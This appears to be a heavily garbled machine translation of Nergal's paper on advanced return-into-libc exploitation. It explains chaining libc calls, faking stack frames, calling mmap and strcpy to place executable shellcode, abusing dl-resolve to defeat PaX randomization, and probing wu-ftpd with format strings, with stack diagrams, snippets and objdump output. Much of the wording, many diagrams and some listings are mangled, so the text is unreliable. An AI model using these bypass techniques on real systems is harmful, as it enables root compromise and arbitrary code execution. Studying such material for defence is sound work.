High return of library functions exploit code implementation: Nergal
- [1 - Introduction 1 - Introduction 2 - Traditional Return Function Library Technology 3 - Multiple Countries Return Function Library Call 3.1 - Limitations of Traditional Methods 3.2 - "ESP Growth" 3.3 - Stack Frame Forge 3.4 - Embed zero byte 3.5 - Overview 3.6 - Simple Code 4- PAX Features 4.1 - PAX Foundation 4.2 - PAX and Return Library Functions Implementation 4.3 - PAX and MMAP Random Functions 5- Dynamic Link DL-Resolve () Function 5.1 - Some ELFs (Executables and Links Data Type 5.2 - Some ELF Data Structure 5.3 - How to Call DL-Resolve () from PLT (Procedure Connection Table) DL-Resolve () 5.4 - Conclusion 6 - Winning PAX 6.1 - Essential Conditions 6.2 - Build Exploit7 - Other More 7.1 - System-independent 7.2 - Other types of defects 7.3 - Other "Unsharitable" Solution 7.4 - Improve existing "Unshaul" Design 7.5 - Version Information 8 - Reference Publications and Project 9 - Accessories: Readme This article can be divided into two parts. Code code section and code annotation. The previous part describes the advanced return library function technology. Some existing perspectives, or some views that have been published by others. However, these important technical information resources are zero. Usually, in different implementations, those source code accompanying are not very educated, or there is no role. Thus, I decided to collect some useful resources and some of my own ideas, and write into this article, it should be to help people's convenient reference. From these contents, in numerous security lists, it should be judged that this information is by no means of existing common public awareness.
The second part focuses on the system under PAX protection, and the stack buffer in the stack is achieved by different pathways. The current PAX performance has been improved to increase the security by stack random address processing and function library address mapping, and the EXPLOIT coder is challenged with a prudent attachment. The initial method is to determine the process of the program by directly calling the dynamic link flag. This approach is very common, and the conditions for successful implementation are quite easy.
Since the Intel platform is slightly different, the general demonstration source code is designed for the Linux i386 GLIBC system. PAX is considered to be not very stable; however, existing technologies (described for Linux i386 Glibc) can easily implement other system / systems, can be used to evade unhaffected security design, including some at hardware levels Realization of protection. Assuming the reader has the basics of ExPloit technology, before further learning, it has absorbed the article [1] [2], and the actual operation of the ELF description is included in [1] [2].
- [2 - Traditional return letter library technology Traditional return letter library technology in article [2] is well described, so just a simple summary here. This technique is used to escape the stack and unhaffected protection is a very common method. Unlike the address of the returned code in the stack, the defective function is returned to the memory area occupied by the dynamic library. The buffering of the spilled stack is achieved by the following stack construction, as follows: <- Stack growth direction memory address growth -> --------------------- --------------------------------------------- | Buffer Fill-Up (*) | Function_IN_LIB | Dummy_INT32 | Arg_1 | Arg_2 | ... ----------------------------------- ------------------------------ ^ | - INT32 returns the return address of the defective function to save overwrites (*) Buffer Fill-Up The $ EBP override contains a function of buffer overflow to return to the address of the function_in_lib library function to restore "Execute". By changing the function of the function, Dummy_INT32 will be used as a return address of parameters such as arg_1, arg_2, and transfer to the address of the system call function in the library function (libc system (), the instruction sequence of the library function, let Arg_1 point "/ BIN / SH ".
- [3 - Multiple Joint Return Function Library - [3.1 - There are two obvious limitations of the techniques mentioned above. First, it is impossible to request a function of calling another parameter after the function_in_lib function. why? When function_in_lib returns, it will be recovered at the address of Dummy_INT32. Thus, it has become another library function, which will have to occupy the same space to take up the parameters of function_in_lib. Sometimes this is not a problem (see the general list in [3])
Note that multiple function calls are frequent. For example, a defective application temporarily enters the superuser privilege status when needed (for example, a setUID application can setEUID (GetUID ())), usually one in the Exploit code implementation is called SYSTEM () , Restore the superuser authority status by calling SetUID (0).
The second limit is that the FUNCTION_IN_LIB function is not capable of containing zero bytes (a typical case is a string handler, if there is zero byte, stop processing), the following is two different The method is coupled to the call to multiple library functions to implement Exploit.
- [3.2- "ESP [Stack Pointer] Growth This method attack uses" -fomit-frame-pointer "compilation option (this compilation parameter usually does not save the frame pointer in the function register, avoiding instructions , Establish, recover frame pointer), designed, this type of compilation, the typical function ends like this: EPLG: addl $ local_vars_size,% ESP RET assumes F1, F2 is the function address located in the library function , We build the following overflow strings: <- The direction of the direction of the stack growth memory address growth ->
-------------------------------------------------- ------------------------- | F1 | EPLG | F1_ARG1 | F1_ARG2 | ... | F1_ARGN | PAD | F2 | DMM | F2_ARGS ... -------------------------------------------------- ------------------------- ^ ^ ^ | | | | <--------- Local_vars_size ------ -------> | | | - INT32 returns the return address of the defective function Saves a non-zero-byte consisting of some non-zero bytes, and its length increases to the space occupied by the F1 and its parameters. , Should be equal to local_vars_size. (See how it works? The defective function returns to the address F1, F1 will return to the end of the function, and the command "addl $ local_vars_size,% ESP" will enable the stack to add local_vars_size so that the pointer will point to the address F2 and store it. The end of the "RET" instruction will return to the address of the F2, so that we call two functions in one line. Similar techniques also have explanations in Wen [5]. The return to a standard function is slightly different from the end of the article [5], and some of the programs (library functions) images have the following instruction sequences: POP-RET: Popl Any_register RET This order will compile the optimized standard end result. Very beautiful now, we build the following stacks <- stack growth direction memory address growth direction -> ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------- | Buffer Fill-Up | F1 | POP-RET | F1_ARG | F2 | DMM | F2_ARG1 | F2_ARG2 ... -------------------------------------------------------------------------- -------------------------------------------------- - ^ | - INT32 The return address of the defective function saves the working principle and the previous list, in addition to the stack pointer does not grow local_vars_size, "Popl Any_Register" instruction moves the stack pointer 4 bytes, this, F1 all parameter variables can pass 4 bytes to the address of F1. If the order in the instruction is like this: POP-RET2: POPL Any_register_1 Popl Any_Register_2 RET This can be passed to the F1 address through two parameters each. The problem in the following technique is that it is impossible to use more than 3 POPS (out of the stack instruction) in the form of "POP-RET", so we can only use the changes mentioned earlier. Happening. In the text [6], it is possible to find and look at the previous ideas. Unfortunately, it is very bad.
Note We can use this way to join any form of functions. In addition: We don't need to know the precise position in the stack (that is, we don't need to know the accurate value in the stack). Inside, then we need to know his exact address. ---- [3.3 - Pack Frame of Field (see [4]) This second technology is designed to attack the program without using "-FOMIT-FRAME-POINTER". Its function ends like this: Leaveret: Leave RET does not care whether the optimization option is used, the GCC compiler is always ending. So, we have not found meaningful in this 2 credit This technology has passed "ESP growth" (but please pay attention to the end of 3.5)
In fact, in the documentation of libgcc.a, when compiling the target file with the -Fomit-frame-pointer, during the compiled process, the default compiler is connected to an executable file. Thus, in these execution files, the instruction sequence such as "Add $ IMM,% ESP; RET" can be found. But we cannot rely on these features of GCC, as it also depends on more factors (GCC versions, options for compiling, etc.)
Instead of "ESP [Frame Pointer] growth" method, return to "Leaveret" through the function. The stack constructor should be logically divided into different parts, and the usual Exploit code should be close to "Leavereet". <- Stack growth direction memory address growth direction -> Save the base register defect function return address --------------------------- --------------- | Buffer Fill-Up (*) | fake_ebp0 | Leaveret | ---------------------- --- | ------------------------------ (*) this Situation, Buffer Fill-Up cannot be covered in a stack frame pointer | V ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------- | FAKE_EBP1 | F1 | Leaveret | F1_ARG1 | F1_ARG2 ... ----- | ----------------- ------------------------ | First Stack Frame - | V ---------------- --------------------------------- | FAKE_EBP2 | F2 | Leaveret | F2_ARG1 | F2_ARGV2 ... ----- | ------------------------------------------- | Subtack frame - - ... FAKE_EBP0 is the address of the first stack frame, and fake_ebp1 is the address of the second stack frame, and push it according to the class. Now, some ideas will be presented below 1) The end of the defective function (Leave; RET) assigns the address of the FAKE_EBP0 to the stack base pointer and returns to the Leaveret. 2) Two instructions ending (Leave; Ret) placed the FAKE_EBP1 address to the stack base pointer and returned to the address of the F1. 3) The F1 is then returned to the Leaveret. Repeat 2) 3) Steps, use F1, F2 ,. . . Fn is replaced. There is no excessive purpose in the end of the end [4], and the author proposes as follows, the stack should be constructed into the rear of the library function that allows the Exploit code to the F function before, do not return to the F function itself, this The technology and the front are very similar, however we will soon face this situation, when the F function is only passed through the process connection table (PLT), it is impossible to return to the address of the function F added an address offset. . It will only return to your own address.
Note that in order to use this technology, you must know the precise positioning forged stack frame, because FAKE_EBP must be set according to rule. If all stack frames are positioned behind the buffer Fill-Up, you must know the deterministic value of the stack pointer behind the overflow. However, if we know how to control a fake stack frame is positioned in a known memory area (static variables is more suitable), there is no need to guess the value of the stack of pointers.
This situation is possible to attack this cheap option with -Fomit-frame-pointer, this situation, we don't need to find Leave & RET code in the program, but usually it can be found during some regular coupling. So we have to change these zero blocks. -------------------------------------------------- ----- | Buffer Fill-up (*) | Leaveret | FAKE_EBP0 | Leaveret | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------- ^ | - INT32 returns to the address of the defective function Save override two Leaverets is necessary, due to A defective function does not set a stack pointer when returned. Due to the "frame forged" teaching "stack pointer growth" has an advantage. That is, it is necessary to achieve attacks through this approach.
---- [3.4 - Embedded zero bytes] There is also a question: Parameters pass it to a function contain zero bytes. When multiple functions are valid, there is a simple solution: first call the function that embedded into the parameter of the function to be called to the next function.
Strcpy is a function we often use. Its second parameter points to zero bytes of fixed space in a program image, the first parameter points to the invalid address, we specify invalid when each function is called The zero-byte that can be placed in the required INT32 position, which requires the appropriate post-standing position. For example, sprintf (some_writable_addr, "% n% n% n% n", PTR1, PTR2, PTR3, PTR4); can be ineffective at the Some_Writable_ADDR address, in PTR1, PTR2, PTR3, PTR4 allows INT32 to place these addresses, invalid. There are also many functions to achieve this way, such as Scanf, see Wen [5].
Note that this method is solved a deep problem. If all library functions are addressed by address mapping by zero, such as Sun's stack is not executable to Solar, we will not be able to return to a library function directly, because we cannot pass zero bytes to Spilled in the stack. However, if strcpy (or sprintf, see [3]) is called in the attacked program, and there is an appropriate (PLT) process connection table entry, then we can use, the beginning calling function includes the parameters of the function such as Strcpy The byte is invalid, but not the byte of the function itself. Behind these parameters, we can call any function from the library function.
---- [3.5 - Summary of existing methods such as the above is more similar, returning from the calling function, rather than directly returning to the address of the latter function. However, in some ends of some functions, the control is transferred to the next function in the same chain by adjusting the stack pointer or a stack frame pointer.
In the above two methods, we all try to find an appropriate end in the files of the files that can be implemented. Usually, it is best to use the end of the library function. However, some time, the end of this library function image is not able to return directly, such as the case of the library function over address mapping by zero byte, has been mentioned. We will face another situation, the image of the executable is not a fixed location, and it will be randomly mapped in a fixed location, found that in some cases, the address of the Linux system is 0x08048000, so we You can use the address here to return to the target library function. ---- [3.6 - Simple code EX-MOVE.C and EX-FRAMES.C are Exploit code implemented for Vuln.c programs. This Exploit code is coupled to some of the function calls of Strcpy and MMAP. There are more explanations in Section 4.2. In summary, anyone can build the Exploit implementation code for the library function return technology through these Exploit code as a module.
- [4 - PAX Characteristics ---- [4.1 - Pax Basis If you have not heard of the Pax Linux kernel patch, I suggest you access their project homepage [7]. Here are some references from the PAX document. "This document discusses unhaffably possible possibilities on the IA-32 processor. (Such as readable, writable, but cannot be executed, but the processor has not provided this function, this It is a very valuable job. "" [...] to prevent the attack of the stack buffer from overflowing, there are some views and methods, and a point of view is that in the case of limited exclude code in the data segment, it can pass the page. Unsharfeal method reaches the attack [...] "[...] in kernel mode, writing code through DTLB and ITLB will result in errors [...] can create a data segment readable, write, and Can't perform, this is the fundamental that guarantees not to be overflowed. "
In general, the buffer overflow attack usually attempts to use some data to achieve an attack in the execution code. The main function of PAX is not allowed to have executable in any data segment - this feature allows typical overflow to realize the code loss effect.
- [4.2 - PAX and return library functions Implementation initially, data segment cannot be implemented as unique features of PAX. Oh, you have guessed it, it is still not enough for Return-Into-Lib's Exploit attack. This code implementation is perfectly combined by positioning in library functions and binary files. Described in the 3 chapters of this article. The implementation code calls multiple library functions, which has its advantages in advanced Exploit code implementations.
The following code can be successfully implemented in the system of PAX protection! char shellcode [] = "arbitrary code here"; mmap (0xaa011000, some_length, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS | MAP_SHARED, -1, some_offset); strcpy (0xaa011000 1, shellcode); return into 0xaa011000 1; Simple explanation: The memory unit is assigned a memory unit when the MMAP function is called when the address 0XAA011000 (* START parameter) is assigned. It doesn't have a relationship with any target file. But thank the Map_anonymous flag, and the file descriptor (INT FD) is equal to -1. When the code is positioned at 0xAA011000, the PAX will be executed (due to the parameter prot_exec in the function MMAP function) is set). Obviously, any code will be executed if "shellcode" in place of the above code will be executed. Ok, let's see the implementation of the code. Vuln.c is an attacked program with obvious overflow issues, start compiling it:) $ gcc -o vuln-omit -Fomit-frame-pointer Vuln.c $ gcc -o vuln vuln.c-fomit-frame- Pointer This compilation parameter typically does not save the frame pointer in the function register, avoiding the instruction saved, established, and recover the frame pointer. Where EX-Move.c is an Exploit code that attacks Vuln-Omit; EX-frames.c is an Exploit code that attacks Vuln. Exploit implementation code calls strcpy () and mmap (), please refer to Readme.code to understand more instructions. (See "Advanced Return Library Function Explloit Code Implementation (below)")
If you want to demonstrate the above code in the latest PAX protection system, you must need to ban the functions of random maps, as follows: $ chpax -r Vuln; chpax -r Vuln-omit
---- [4.3 - PAX and MMAP Random Functions In order to fight back to the library function, PAX adds a cute function. If some appropriate features are set in the kernel configuration, the first loaded library function will randomly mapping the address, and the next day is randomly processed on the basis of the previous one. Similar applications In the stack, the first library function randomly mapped in this way 0x40000000 random * 4k. The top of the stack is equal to 0xC0000000-Random * 16. It can be seen that so-called random is just a 16-bit unsigned integer. Get random calls through function GET_RANDOM_BYTES () to get a strong numerical value of encrypted.
We can view the calling library function and understand its behavior by the command "ldd -r some_binary". And you can also understand the random procedure of the PAX via "CAT / PROC / $ / MAPS" (the program number of the $$). Oh, pay attention to see below, each time the address of the library function called by the ASH is different:) Nergal @ Behem 8> ASH (first) $ cat / proc / $$ / Maps08048000-08058000 r-xp 00000000 03:45 77590-08059000 RW-P 0000F000 03:45 77590 / BIN / ASH08059000-0805C000 RW-P 000,00000 00:00 04B1500000000 03:45 107760 /Lib/LD-2.1.92 . SO4B166000-4B167000 RW-P 00015000 03:45 107760 /Lib/ld-2.1.92.so4b167000-4b168000 rw-p @000000 00:00 04B16E000-4B289000 r-xp 00000000 03:45 107767 /Lib/Libc-2.1.92 . SO4B289000-4B28F000 RW-P 0011A000 03:45 107767 /Lib/Libc-2.1.92.so4b28f000-4b293000 rw-p @000000 00:00 0BFF78000-BFF7B000 RW-P fffe000 00:00 0 $ EXITNERGAL @ Behemoth 9> ASH ( Second time) $ cat / proc / $$ / map08048000-08058000 R-XP 00000000 03:45 77590 / bin / ash08058000-08059000 RW-P 0000F000 03:45 77590 / bin / ash08059000-0805C000 RW-P 00000000 00:00 048B07000-48B1D000 r-xp 00000000 03:45 107760 /Lib/ld-2.1.92.so (address different front) 48B1D000-48B1E000 RW-P 00015000 03:45 107760 /Lib/ld-2.1.92.so (below the same 48B1E000-48B1F000 RW-P 000000 00 00 00 00 00 03:45 107767 /LIB/LIBC-2.1.92.so48c40000-48c46000 rw-p 0011a000 03:45 107767 /Lib/Libc-2.1.92.so48c46000-48c4a000 rw-p 00000000 00:00 0BFF76000-BFF79000 RW-P fffe000 00:00 0 visible, increased config_pax_randmap features, will not easily return to library functions, each running the address of the library function is different.
At the same time, PAX is not very perfect, there are some obvious flaws below, but some can solve improvement.
1) If / proc / pid_of_attacked_process / maps have readable situations, the library functions in the local attack code and the mapped stack addresses can be obtained from MAPS. If the attacked programs start running, the attack program will have a buffer preparation time that is overwritable by the running attack program, and an attacker can use the available information to build overflow code data in the stack. For example, if the data used in the overflow code comes from a parameter of the function in the program or the environment of the program, the attacker will be, but if the overflow code comes from some I / O (input / output) Operating (such as Socket or Read files), then attacks will succeed. Workaround: Prohibit Access / Proc Directory. Like some other security patches :) 2) The attacker can "violence" to guess the address of the library function after MMAP. Typically (the end of the 6.1) has sufficient conditions to "violence" speculate that the base address of the library function will be attempted through about tens of thousands of attempts, and the attacker has half a chance to guess. Of course, every failure will be recorded by the system log, but it is not reliable for security. If the log is tampered with :) Solution: Configure segvguard (see "text [8]), it is a guardian, every time One process enters the kernel through signal SIGSEGV or similar signals will be notified, and Segvguard will temporarily prohibit the program from continuing (can prevent violent guessing attacks), and segvguard has some interesting features, without PAX, it is worth it A try.
3) The information of the library function and the address of the stack will be leaked if the formatting vulnerability is used. For example, WUFTPD defects, an attacker can detect the stack by Site Exec [Eat Stack]% X.% X.% X ... command. The pointer hidden in the stack will automatically present in the stack base. Due to the library function of a target, some pointers and some functions of the stack and some functions returned in the dynamic link and library functions, and the attacker can inject the base address of the library function.
4) Some special situations, in the attacked program, the attacker can find a class of functions, their position is fixed, and cannot be randomly mapped by the MMAP function. For example, "SU" is such a function (successful in proven), using it to get root privileges and execution shell, this is enough :)
5) For the defect function, all the calls of all the library functions must pass through the PLT process connection table, like such a program, PLT must be in a fixed address, defective program is usually very large and called many The library function, this condition is likely to find some interesting things in PLT to achieve the purpose of attack.
In fact, the three problems behind will not be solved, and the top 5 points, I can't guarantee the successful code implementation, especially the 4 cases. We do need more common ways to achieve.
In the following chapter, I will describe the interface of the DL-Resolve () function in the dynamic link library. If its appropriate parameter can be a function name of the string supported by ASCII, and can determine the actual function address, and DLSYM (). Using the DL-Resolve () function, we can build the implementation code of the return library function, which returns to a function, but when we build code, we don't know the exact address it returns. See [12] describes the way to obtain the function address from the function name, but the existing technology has not reached our purpose. - [5 - Dynamic Link DL-Resolve () function This chapter is as simple as possible, more detailed description, please refer to [9], and GLIBC source code, especially DL-Runtime.c. Please see "[12].
---- [5.1 - Data Type of Some ELF (Optical and Link Format) The following is some of the definitions in the header file ELF.H: typedef uint32_t elf32_addr; typef uint32_t elf32_word; typedef struct {ELF32_ADDR R_OFFSET; / * AddRESS * / Elf32_Word r_info; / * Relocation type and symbol index * /} Elf32_Rel;. / * How to extract and insert information held in the r_info field * / # define ELF32_R_SYM (val) ((val) >> 8) #define ELF32_R_TYPE (VAL) (VAL) & 0xFF)
typedef struct {Elf32_Word st_name; / * Symbol name (string tbl index) * / Elf32_Addr st_value; / * Symbol value * / Elf32_Word st_size; / * Symbol size * / unsigned char st_info; / * Symbol type and binding * / unsigned char st_other ; / * Symbol Visibility Under Glibc> = 2.2 * / ELF32_SECTION ST_SHNDX; / * Section Index * /} ELF32_SYM;
---- [5.2 - Some ELF data structures ELF executables contain some data structures (mainly arrays) we are interested in, where the location of these structures can be found from the dynamic area of the ELF execution file. Use the "objDump -x file" command to display head information (dynamic symbol table, relocation portal, etc.) of the file dynamic area.
$ Objdump -x Some_executable ... Get some useful information (dynamic symbol table, string table, relocation entry, etc) ... Dynamic Section: (Dynamic segment area) ... straw 0x80484f8 the location of string table (TYPE char *) SYMTAB 0x8048268 the location of symbol table (type Elf32_Sym *) .... JMPREL 0x8048750 the location of table of relocation entries related to PLT (type Elf32_Rel *) ... VERSYM 0x80486a4 the location of array of version table indices ( Type uint16_t *) "objDump -x" can also display the information of the dynamic segment at the PLT (Procedure Connection Table), 0x08048894 address as follows: 11.plt 00000230 08048894 08048894 00000894 2 ** 2 Contents, Alloc, LOAD, READONLY, CODE
---- [5.3 - How to call DL-Resolve () from a PLT process connection table () A typical PLT process connection table entry (when ELF format is ELF32-I386) like this: (GDB) Disas Some_funcdump of askEMBLER CODE for function some_func: 0x804xxx4
---- [5.4 - Conclusion Hypothesis We overflow the stack buffer as follows: ------------------------------------------------------------------------------------------------------------------------------ ------------------------------------------ | Buffer Fill-Up | .plt START | RELOC_OFFSET | RET_ADDR | Arg1 | Arg2 ... ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------------------------ ^ | - INT32 will be saved by the return address of the defective function Overlay If we prepare the appropriate SYM and RELOC variable (respectively, the ELF32_SYM and ELF32_REL type), and calculate the value of the Reloc_offset, the control is passed to the function, the function name can be found at STRTAB SYM-> ST_NAME, the appropriate placement parameter arg1 , arg2, we have the opportunity to return to another function (RET_ADDR). DL-resolve.c is a simple implementation of the techniques of the techniques described above. Note that you need to compile this code twice, see the back readme.code code section.
- [6 - Efforts of PAX ---- [6.1 - The necessary conditions In order to use the return dynamic link technology described in Chapter 5, we need to place some structures in the appropriate location, we also need a mobile byte to choose The function of the region, huh, huh, the best candidate is strcpy, but strncpy, sprintf, etc. is also very good. Like the text [3]. We ask STRCPY in the attacked program image with the port of the PLT (process connection table).
Returning Dynamic Link Technology Addresses the problem of library functions that are randomly mapped. However, in the stack, you can't get a resolution. If the overflow code is stored in the stack, then we can't know its exact address, we can't insert 0 blocks into 0 blocks over Strcpy (see Section 3.3). Unfortunately, it is not possible to take out a general solution to this problem. (Can you?) The following two methods may meet the requirements.
1) If in the PLT process connection table, scanf () is a valid function. We can perform some things below: scanf ("% s / n", fixed_location) This copy some of the inputs of the structure of the building stack to fixed_location, if we use the stack frame forgery, then the stack of stacks will be detached So we replace it with fixed_location.
2) If the attacked program uses the -FOMIT-FRAME-POINTER compile option, we call multiple STRCPY functions through ESP growth, and can even do not know the value of the stack pointer (see the consideration of the end of the 3.2). The nth struct should have the following parameters: STRCPY (FixId_Location N, A_POINTER_WITHIN_PROGRAM_IMAGE) This method we can build an appropriate stack frame in a byte one byte to build an appropriate stack frame in Fixed_Location. After doing this, our flexible combination of "ESP growth" and stack frame forgery technology, please see Section 3.3.
Many similar workspace builds can be designed, but there is not much necessary, these tasks are very like copying some user-controlled data to the static data segment or memory division variable area. Therefore, the above is our main work, no need to say.
All in all, we need to see two conditions: 6.1.1) STRCPY (or StrNCPY, Sprintf, and its similar functions) Valid through the PLT process connection table entry. 6.1.2 In general, in the general process executed by the attack program, copy the user's private data to a static variable region or a variable area divided into memory. ---- [6.2 - Construction of Exploit We will follow the list of DL-Resolve.c to implement the code of the code, by calling the MMAP function to retrieve dynamic link technology, get a memory area that can be read, written, executed, using the strcpy function Shellcode is placed in this area as an address of the return function. The attacked programs we discussed did not use the -FOMIT-FRAME-POINTER for these compilation options, and fake.
We need to ensure that the following three have the appropriate placement position. 1) ELF32_REL RELOC2) ELF32_SYM SYM3) UNSIGNED SHORT VERIND (What is the address of the symbol SYM associated with the symbol SYM? " "REAL_INDEX" (RELOC-> R_INFO);: SYM (Symbol) IS AT SYMTAB REAL_INDEX * SIZEOF (ELF32_SYM) Verind IS AT VERSYM REAL_INDEX * SIZEOF (Short) Place Verind in .DATA Data Section or .BSS is not initialized The data segment, and the two STRCPY functions call make it zero, it looks natural, but not fortunate, in this case, REAL_INDEX will become very large, sizeof (Elf32_sym) = 16 is far more than SizeOf (SHORT), SYM's address will be away from the program process. So, you should understand why you need to assign a 10,000 byte of space from memory in the DL-Resolve.c code.
Ok, now you can expand the data segment of any execution process by setting the malloc_top_pad_, but can only be implemented locally, we can find more common ways, we can usually reduce the location of Verind, placed in mapping The read-only area, we look for a short byte that locates the "SYM" structure through the address of VERIND.
Where are we looking for zero-short bytes? First, when overflow occurs, we need to determine the writable, data segment that is mapped by the mmap mapping, data segment in the / proc / pid / maps file through the execution of the attacked program. The range of memory areas. It is an area including [ground site, high address]. We copy symbol structure to here. You can know the address of Real_index in [(low_addr-symtab) / 16, (h_addr-symtab) / 16, 16] In this area, we are thus looking for a short zero byte in [Versym (Hi_ADDR-SYMTAB) / 8], Versym (Hi_ADDR-SYMTAB) / 8]. 1) The address of the symbol is not able to cross the fake stack frame cross. 2) The address of the symbol cannot overwrite any inner connection data, such as the GOT global offset table entry in Strcpy) 3) If the stack pointer is transferred to static Data segments. There must be enough space to place the stack frame where the dynamic link program is placed. So, it is best, but not necessary, place the symbol "SYM" behind the counterfeit stack frame.
A suggestion: find the way to find the zero byte, it is best to use GDB, which is better than the output "objDump -s" output "objdump -s". Because the latter cannot display the memory area behind. Rodata :)
Implementation code Icebreaker.c is a very simple attack Pax.c program. Vuln.c and pax.c uniquely different are copied to static buffer environment variables. (Note Look at the code :)
- [7 - Other more ---- [7.1 - System independence] Since PAX is designed for Linux system, the focus discussed in this article is also the system. However, the development of today's technology And implementation, tending to system independence. Stacking and stack frame pointer, C function call standard, ELF description, all of which are widely used and implemented. For DL-Resolve.c code, I The Solaris I386 and FreeBSD have been successful. However, the fourth parameters of MMAP must be adjusted, for example, in the BSD system, the value of map_anon is different. In the two systems I implemented, the dynamic link affects the symbolic version. Big, so, it should not be easily realized:) ---- [7.2 - Other types of defects) for buffer overflow, existing technologies are very basic. The code that returns an address is relying solely that the stack cannot be changed. % EIP's single overflow, however, in return function addresses, we can place the parameters of the function in the top of the stack.
The other two large defects classification, Malloc controls the structure of corruption and format string attack. For the previous question, we covered its integer bytes with any value - very down, so that the protection of PAX. The latter problem, we usually change the number of any bytes. If we can override% EBP and function% EIP, we don't need to do anything else. However, because the stack is the random address, there is no way to determine the address of any stack frame. .
By changing some of the entrances of some GOT global offset tables, only the address of the next order is controlled, which is still not enough to escape the protection of PAX.
However, there is an idea of developing code here. We assume 3 conditions below: 1) The attack program uses the -FOMIT-FRAME-POINTER Compile option .2) A F1 function, it assigns the stack it assigns The buffer can be controlled by us. 3) Function F2 has a format loophole (or error uses free ()), which is called or indirectly.
The defective code is as follows: Void F2 (char * buf) {printf (buf); // format vulnerability Some_Libc_Function (); void f1 (char * user_controlled) {charf [1024]; buf [0] = 0; Strncat (buf, user_controlled, sizeof (buf) -1); F2 (BUF);} Assumption function f1 () is being called, through the constructed formatted string, we can change the got global offset table entry for the Some_libc_function library function The address is the entry address of the following code. The code is as follows: AddL $ IMM,% ESP RET This is the end code of a function, this situation, the library function is called, and the stack pointer is changed by "AddL $ IMM,% ESP" instruction. If we choose the appropriate $ IMM, let the stack pointer points to the stack buffer we can control. This way, it is like a buffer overflow of a stack, we can link functions, return link technology, etc. Overflow mode.
Alternative: Single-byte stack bursts. This overflow controls the last byte of the stack frame pointer, when the second function returns, the attacker has the opportunity to pass through the over-byte overflow technology through control% ESP, get the entire control of the stack, change the pop-up% EIP to execute our implementation code, existing technologies have been possible.
---- [7.3 - Other "Uns Executable" Solution To this, I know two solutions, in the Linux i386 system, so that all data segments are not executable. The first is RSX [see "10]. Because this solution is not implemented in the stack, and does not let the library function base address is randomized, so in 3 chapters describe the breakthroughs that are not implemented by linking multiple functions.
If we want to perform any code, we also need additional effort. For example, in the RSX system, the memory area writable in the protection mode cannot be placed in the execution code. So the front MMAP (... prot_read | prot_write | prot_exec) spoof method It is not possible to work. However, any incapable designs must allow the code to perform code in the shared library function. In the RSX system, through this approach, MMAP (... prot_read | prot_exec) containing shellcode is achieved. Remote utilization Implementation, its coupling allows us to create this file first. The second solution, similar to the previous one, is Knox [see 11], and the different places are random address maps to the library function. The address started at 0x00110000. (Similar to Solar's patch) in this article 3.4 The end of the festival. This protection is still not enough :)
---- [7.4 - Improved existing "unforgive" design I don't know whether it is lucky or not lucky. It may not be lucky to the protector. Oh, I didn't see how to make PAX a more secure method to avoid existing technology. Attack :) Obviously, since the ELF standard describes the existing technical details of the attacker, some existing deceptive means can be stopped. For example, use the kernel patch. But cannot limit the sharing Realization of library functions in ExPloit technology. Unless the linkage of the function is limited to the French cloud.
On the other hand, if the correct configuration of PAX will make the implementation of the existing Exploit technology even unable to implement. When Pax becomes more reliable, it should be easily used. Oh, simple is another level. Defense :)
---- [7.5 - Version information All code is tested in the following patch version: pax-linux-2.4.16.patchknox-2.2.20-pre6.tar.gzrsx.tar.gz for kernel 2.4.5 code can be Any 2.4.x kernel version of the system runs, but cannot be on version 2.2.x!
- [8 - Reference publications and engineering items [1] ALEPH One The Article In Phrack 49 That Everybody Quotes [2] Solar Designer "getting non-executable stack (and fix) http://www.securityfocus. com / archive / 1/7480 [3] Rafal Wojtczuk "Defeating Solar Designer non-executable stack patch" http://www.securityfocus.com/archive/1/8470[4] John McDonald "Defeating Solaris / SPARC non-Executable Stack protection "http://www.securityfocus.com/archive/1/12734[5] Tim newsham" non-exec stack "http://www.securityfocus.com/archive/1/58864[6] Gerardo Richarte, "RE: FUTURE OF BUFFER OVERFLOWS?" Http://www.securityfocus.com/archive/1/142683[7] Pax Team Pax http://pageexec.virtualave.net [8] segvguard ftp://ftp.pl .openwall.com / misc / segvguard / [9] ELF specification http://fileformat.virtualave.net/programm/elf11g.zip[10] Paul Starzetz Runtime addressSpace Extender http://www.ihaquer.com/software/rsx / [11] wojciech purczynsk I Knox http://cliph.linux.pl/knox[12] Grugq "Cheating the Elf" http://hcunix.7350.org/grugq/doc/subversiveld.pdf9- [attachment: Readme.code < > The code annotation is ready to have a defective program to compile. $ gcc -o vuln.omit -Fomit-frame-pointer Vuln.c $ gcc -o vuln vuln.c $ gcc -o pax pax.ci. EX-MOVE.C ~~~~~~~~~~~~ The front part of the EX-MOVE.C code predefined some constants of libc, struct, plain_ret, popstack, popnum, plat_ret, frames, you can adjust according to the environment of the system, pay attention: MMAP_START cannot change
Below, we come to get these predefined constants we need in the code. 1) Libc [Nergal @ Behemoth PAX] $ ldd ./vuln.omit (* Through LDD, we can get the library function whose defective function Vuln.omit call is libc.so.6 => / lib / libc. SO.6 (0x4001e000) <- Yeah, this is the entrance address of the library function 0x4001e000 /Lib/ld-Linux.SO.2 => /Lib/ld-Linux.SO.2 (0x40000000) 2) STRCPY [Nergal @ Behemoth PAX] $ objdump -t Vuln.omit (* Parameters through Objdump - T, we can get the dynamic symbol table (DST) Vuln.omit: File Format ELF32-I386 (display file format)
Dynamic symbol table: 08048348 w DF * UND * 00000081 GLIBC_2.0 __register_frame_info08048358 DF * UND * 0000010c GLIBC_2.0 getenv08048368 w DF * UND * 000000ac GLIBC_2.0 __deregister_frame_info08048378 DF * UND * 000000e0 GLIBC_2.0 __libc_start_main08048388 w DF * UND * 00000091 GLIBC_2 .1.3 __cxa_finalize08048530 g DO .rodata 00000004 Base _IO_stdin_used00000000 w D * UND * 00000000 __gmon_start__08048398 DF * UND * 00000030 GLIBC_2.0 strcpy <------- oh, yeah! ~~~~~~~~ (invoked strcpy Address) 3) MMAP [Nergal @ Behem Pax] $ objdump -t /lib/libc.so.6 | GREP MMAP (* Find the MMAP address from the library function DST) 000DAF10 W DF .Text 0000003A Glibc_2.0 MMAP < ----- Yeah, in the color. 000dB050 W DF.TEXT 000000A0 Glibc_2.1 Mmap64
